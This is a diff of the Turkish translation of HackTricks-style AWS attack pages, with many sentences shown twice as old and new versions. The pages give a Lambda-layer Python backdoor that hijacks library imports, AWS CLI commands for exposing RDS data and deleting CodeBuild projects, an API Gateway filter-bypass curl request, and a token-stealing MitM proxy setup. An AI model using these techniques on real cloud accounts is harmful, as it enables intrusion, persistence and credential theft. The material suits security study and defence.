<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
**`AWS_LAMBDA_RUNTIME_API`** değişkeni, **çocuk çalışma zamanı süreçlerine** ve ek uzantılara Rapid API'nin **IP** adresini ve **port** numarasını gösterir.
> [!WARNING]
> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklarla çalışmasından ve sistemin çekirdeğinin **işlem belleğini değiştirmeye** izin vermesinden kaynaklanmaktadır; bu da port numarasının değiştirilmesini sağlar.
> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklara sahip olması ve sistemin çekirdeğinin **işlem belleğinin değiştirilmesine** izin vermesi nedeniyle mümkündür; bu da port numarasının değiştirilmesini sağlar.
Çünkü **uzantılar herhangi bir çalışma zamanı kodundan önce çalışır**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlamasına olanak tanıyabilir.
**Uzantılar herhangi bir çalışma zamanı kodundan önce çalıştığı için**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlatmasına olanak tanıyabilir.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma** ve hatta **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur.
[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma**, diğer **uzantıların** **isteklerini** **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur.
## Referanslar

View File

@@ -4,13 +4,13 @@
## Lambda Katmanları
Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir.
Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veriler veya yapılandırma dosyaları içerebilir.
Her fonksiyon için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir fonksiyona dahil ettiğinizde, **içerikler yürütme ortamındaki `/opt`** dizinine çıkarılır.
Her işlev için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir işlevde dahil ettiğinizde, **içerikler `/opt`** dizinine çıkarılır.
**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketiyorsa, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz.
**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Eğer işlevleriniz, farklı bir hesap tarafından yayımlanan bir katmanı kullanıyorsa, işlevleriniz **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir işlev oluşturamaz veya işlevleri güncelleyemezsiniz.
Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz.
Konteyner görüntüsü olarak dağıtılan işlevler katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz.
### Python yükleme yolu
@@ -18,23 +18,23 @@ Python'un lambda'da kullanacağı yükleme yolu şudur:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
İkinci ve üçüncü pozisyonların, **lambda layers** dosyalarını açtığı dizinler tarafından nasıl kaplandığını kontrol edin: **`/opt/python/lib/python3.9/site-packages`** ve **`/opt/python`**
> [!CAUTION]
> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilir.
> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilecektir.
Bu nedenle, gereksinimler şunlardır:
- **Kurbanların kodu tarafından yüklenen kütüphaneleri kontrol et**
- **Özel kod çalıştıracak ve orijinal** kütüphaneyi **yükleyecek bir proxy kütüphanesi oluştur.**
- Kurbanın kodu tarafından **yüklenen kütüphaneleri** kontrol et
- **Özel kodu çalıştıracak ve orijinal** kütüphaneyi **yükleyecek** bir **proxy kütüphanesi** oluştur.
### Önceden yüklenmiş kütüphaneler
### Önceden Yüklenmiş Kütüphaneler
> [!WARNING]
> Bu tekniği kötüye kullanırken bir zorlukla karşılaştım: Bazı kütüphaneler, kodunuz çalıştırıldığında python çalışma zamanında **zaten yüklenmiş** durumda. `os` veya `sys` gibi şeyler bulmayı bekliyordum, ama **hatta `json` kütüphanesi bile yüklüydü**.\
> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi yüklemesi** gerekiyor.
> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi** **yüklemesi** gerekiyor.
Bu python kodu ile lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür:
Bu python kodu ile, lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür:
```python
import sys
@@ -54,14 +54,14 @@ Ve bu, **lambda'nın varsayılan olarak yüklediği kütüphaneler** listesidir:
Bu örnekte, hedef kodun **`csv`**'yi içe aktardığını varsayalım. **`csv` kütüphanesinin içe aktarımına arka kapı koyacağız**.
Bunu yapmak için, **`/opt/python/lib/python3.9/site-packages`** yolunda **csv** adlı dizini ve içinde **`__init__.py`** dosyasını oluşturacağız.\
Sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\
Bunu yapmak için, lambda tarafından yüklenen bir yolda **`/opt/python/lib/python3.9/site-packages`** **csv** dizinini ve içinde **`__init__.py`** dosyasını oluşturacağız.\
Daha sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\
Bu dosya şunları yapmalıdır:
- Payload'ımızı çalıştırmak
- Orijinal csv kütüphanesini yüklemek
Her ikisini de şu şekilde yapabiliriz:
Bunları şunlarla yapabiliriz:
```python
import sys
from urllib import request
@@ -83,7 +83,7 @@ import csv as _csv
sys.modules["csv"] = _csv
```
Sonra, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin.
Ardından, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin.
Bu kodu [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) adresinde bulabilirsiniz.
@@ -95,14 +95,14 @@ Entegre yük, **ilk kez çağrıldığında veya lambda konteynerinin sıfırlan
### Harici Katmanlar
**Harici hesaplardan lambda katmanları** kullanmanın mümkün olduğunu unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\
**Harici hesaplardan lambda katmanları kullanmanın mümkün olduğunu** unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\
Ayrıca, bir lambda'nın sahip olabileceği **maksimum katman sayısının 5 olduğunu** unutmayın.
Bu nedenle, bu tekniğin çok yönlülüğünü artırmak için bir saldırgan şunları yapabilir:
- Kullanıcının mevcut bir katmanını arka kapı ile değiştirmek (hiçbir şey harici değil)
- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına katmanı kullanma erişimi vermek**, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**.
- **Lambda**, **katmanı kullanmaya** devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell almanın dışında).
- Kullanıcının mevcut bir katmanını arka kapı ile ele geçirmek (hiçbir şey harici değil)
- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına** katmanı kullanma erişimi vermek, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**.
- **Lambda**, **katmanı** kullanmaya devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell elde etmek dışında).
- Kurban, **`aws lambda list-layers`** ile kullanılan harici katmanları **görmeyecek**.
```bash
# Upload backdoor layer

View File

@@ -20,14 +20,14 @@ Bir saldırgan instance'lara erişim sağlayabilir ve onlara arka kapı ekleyebi
- Örneğin geleneksel bir **rootkit** kullanarak
- Yeni bir **genel SSH anahtarı** ekleyerek
- Bir arka kapı ile port knocking ile bir port açarak
- Arka kapı ile port knocking kullanarak bir port açarak
### DNS sürekliliği
Eğer alan adları yapılandırılmışsa:
- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirebilirsiniz.
- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirmiş olursunuz.
- Alan adından **e-posta** göndermenizi sağlayan bir **SPF** kaydı oluşturun.
- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara bir **MitM** gerçekleştirin.
- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara karşı bir **MitM** gerçekleştirin.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -16,9 +16,9 @@ Bu izne sahip bir saldırgan, **mevcut bir RDS örneğini herkese açık erişil
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Veritabanı içinde bir yönetici kullanıcısı oluşturun
### Veritabanında bir yönetici kullanıcısı oluşturun
Bir saldırgan, **veritabanı içinde bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**.
Bir saldırgan, **veritabanında bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**.
### Anlık görüntüyü herkese açık hale getirin
```bash

View File

@@ -16,7 +16,7 @@ Daha fazla bilgi için kontrol edin:
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak (`aws kms decrypt`) bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir.
Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir.
### S3 ACL'lerini Kullanma

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### Kaynak Politikaları Aracılığıyla
Kaynak politikaları aracılığıyla **gizli bilgilere dış hesapların erişimini sağlamak** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın.
Kaynak politikaları aracılığıyla **gizli bilgilere dış hesaplara erişim vermek** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için, dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın.
### Secrets Rotate Lambda Aracılığıyla

View File

@@ -63,9 +63,9 @@ Aşağıdaki politika, AWS'deki herkesin **`MySNS.fifo`** adlı SNS konusuna oku
]
}
```
### Aboneler Oluştur
### Abone Oluşturma
Tüm konulardan tüm mesajları dışarı aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**.
Tüm konulardan tüm mesajları dışa aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**.
**Konu FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir.
```bash

View File

@@ -13,7 +13,7 @@ Daha fazla bilgi için kontrol edin:
### Kaynak politikasını kullanma
SQS'de **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\
Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içindeki her şeye erişim sağlamasını verir:
Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğa erişimini sağlar:
```json
{
"Version": "2008-10-17",
@@ -32,6 +32,6 @@ Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içinde
}
```
> [!NOTE]
> Her seferinde kuyrukta yeni bir mesaj **eklendiğinde saldırganın hesabında bir Lambda tetikleyebilirsiniz** (bunu yeniden eklemeniz gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
> Her yeni mesaj kuyruğa konulduğunda **saldırganın hesabındaki bir Lambda'yı tetikleyebilirsiniz** (bunu yeniden koymanız gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,12 +10,12 @@ Daha fazla bilgi için kontrol edin:
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### Step Function Arka Kapı ma
### Step Function Arka Kapı Oluşturma
Bir step function'ı arka kapı açarak, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın.
Bir step function'ı arka kapı ile değiştirerek, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın.
### Arka Kapı ma Takma Adları
### Arka Kapı Oluşturma Takma Adları
Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, bir takma adı değiştirerek step function'ın yeni arka kapılı versiyonunu kullanmak mümkün olacaktır.
Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, step function'ın yeni arka kapılı versiyonunu kullanmak için bir takma adı değiştirmek mümkün olacaktır.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -28,7 +28,7 @@ aws sts get-session-token \
### Rol Zinciri Oynama
[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **döngüsel bir şekilde** geri dönebilir. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar.
[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir, bu da başlangıç rolüne **döngüsel bir şekilde** geri dönmeyi potansiyel olarak sağlar. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar.
Rol zincirini sürdürmek için bu [**aracı**](https://github.com/hotnops/AWSRoleJuggler/) kullanabilirsiniz:
```bash

View File

@@ -12,14 +12,14 @@ Daha fazla bilgi için kontrol edin:
### Açık Olmayan API'lere Erişim
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktayı erişiminiz olan bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktanın erişiminizin olduğu bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\
Daha sonra, EC2 makinesinden uç noktaya erişebilecek ve daha önce açığa çıkarılmamış olan gateway API'yi çağırabileceksiniz.
### İstek Gövdesi Geçişini Atlatma
Bu teknik [**bu CTF yazısında**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) bulundu.
[AWS belgelerinde](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir.
[**AWS belgelerinde**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir.
Bu nedenle, CTF'de API Gateway, `Content-Type: application/json` ile bir istek gönderildiğinde **bayrağın dışarı sızmasını engelleyen** bir entegrasyon şablonuna sahipti:
```yaml
@@ -28,15 +28,15 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi
```
Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi engelleyecektir.
Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdesinde sorgu bulunan bir POST isteği göndererek sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü ve `X-HTTP-Method-Override: GET` başlığını kullanarak:
Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdeye sorguyu koyarak ve `X-HTTP-Method-Override: GET` başlığını kullanarak sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Kullanım Planları DoS
**Enumeration** bölümünde anahtarların **kullanım planını** nasıl **edineceğinizi** görebilirsiniz. Anahtarınız varsa ve bu anahtar **aylık X kullanım** ile **sınırlıysa**, **onu kullanabilir ve bir DoS oluşturabilirsiniz**.
**Enumeration** bölümünde anahtarların **kullanım planını nasıl elde edeceğinizi** görebilirsiniz. Eğer anahtarınız varsa ve bu anahtar **aylık X kullanım ile sınırlıysa**, **onu kullanarak bir DoS oluşturabilirsiniz**.
**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığına** **eklenmelidir**.
**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığı** içine **eklenmelidir**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
@@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya yakalama.
**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya engelleme.
> [!NOTE]
> Test edilmesi gerekiyor
@@ -89,7 +89,7 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potansiyel Etki**: Hassas bilgilerin sızması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
> [!NOTE]
> Test edilmesi gerekiyor
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma potansiyeli.
**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma.
> [!NOTE]
> Test edilmesi gerekiyor

View File

@@ -17,7 +17,7 @@ Bu [**blog yazısı**](https://medium.com/@adan.alvarez/how-attackers-can-misuse
#### senaryo 1: CloudFront'un bir bucket'ın bazı HTML'lerine erişim sağlamak için yapılandırıldığı MitM
- **Kötü niyetli** **fonksiyonu** **oluşturun**.
- Bunu CloudFront dağıtımı ile **ilişkilendirin**.
- Bunu CloudFront dağıtımıyla **ilişkilendirin**.
- **Olay türünü "Viewer Response"** olarak ayarlayın.
Yanıta erişerek kullanıcıların çerezini çalabilir ve kötü niyetli bir JS enjekte edebilirsiniz.

View File

@@ -28,11 +28,11 @@ Bu nedenle, gizli yöneticiyi okuma erişiminiz varsa, bu gizli bilgileri alabil
**CodeBuild projesinin**, yapılandırılmış kaynak sağlayıcısına erişimi olmalıdır; bu, **IAM rolü** veya bir github/bitbucket **token veya OAuth erişimi** ile olabilir.
**CodeBuild** üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kötüye kullanarak yapılandırılmış deponun kodunu ve ayarlanan kimlik bilgilerine erişimi olan diğerlerini sızdırabilir.\
Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerine erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerinin erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştirmek**.
Ve **her deponun dışa aktarımını sağlamak için Buildspec komutlarını değiştirmelidir**.
> [!WARNING]
> Ancak, bu **görev tekrarlayıcı ve zahmetlidir** ve eğer bir github tokenı **yazma izinleriyle yapılandırıldıysa**, bir saldırgan **bu izinleri (kötüye) kullanamayacaktır** çünkü tokena erişimi yoktur.\
@@ -40,7 +40,7 @@ Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştir
### AWS CodeBuild'den Erişim Tokenlarını Sızdırma
CodeBuild'de Github gibi platformlara verilen erişimi sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin:
CodeBuild'de verilen erişimi Github gibi platformlara sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin:
```bash
aws codebuild list-source-credentials
```
@@ -54,7 +54,7 @@ Bir saldırgan, tüm bir CodeBuild projesini silebilir, bu da proje yapılandır
```bash
aws codebuild delete-project --name <value>
```
**Potansiyel Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi.
**Olası Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi.
### `codebuild:TagResource` , `codebuild:UntagResource`
@@ -63,7 +63,7 @@ Bir saldırgan, CodeBuild kaynaklarından etiket ekleyebilir, değiştirebilir v
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
### `codebuild:DeleteSourceCredentials`

View File

@@ -18,7 +18,7 @@ Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-
1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin**
- Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**.
- **`http_proxy`**'yu ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin.
- **`http_proxy`**'yi ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin.
- Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`.
- Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...).
2. **Ortamı ayarlayın**
@@ -27,7 +27,7 @@ Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Ana bilgisayarınızdaki MitM proxy'yi ayarlayın**
3. **Ana bilgisayarınızda MitM proxy'yi ayarlayın**
- **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz:
```bash
@@ -38,7 +38,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın**
- **Authorization** başlığında token'ı görebilirsiniz:
- Token'ı **Authorization** başlığında görebilirsiniz:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
@@ -73,14 +73,14 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
**Codebuild** projelerinin, yalnızca API üzerinden değiştirilebilen, webde gizli bir ayarı olan **`insecureSsl`** vardır.\
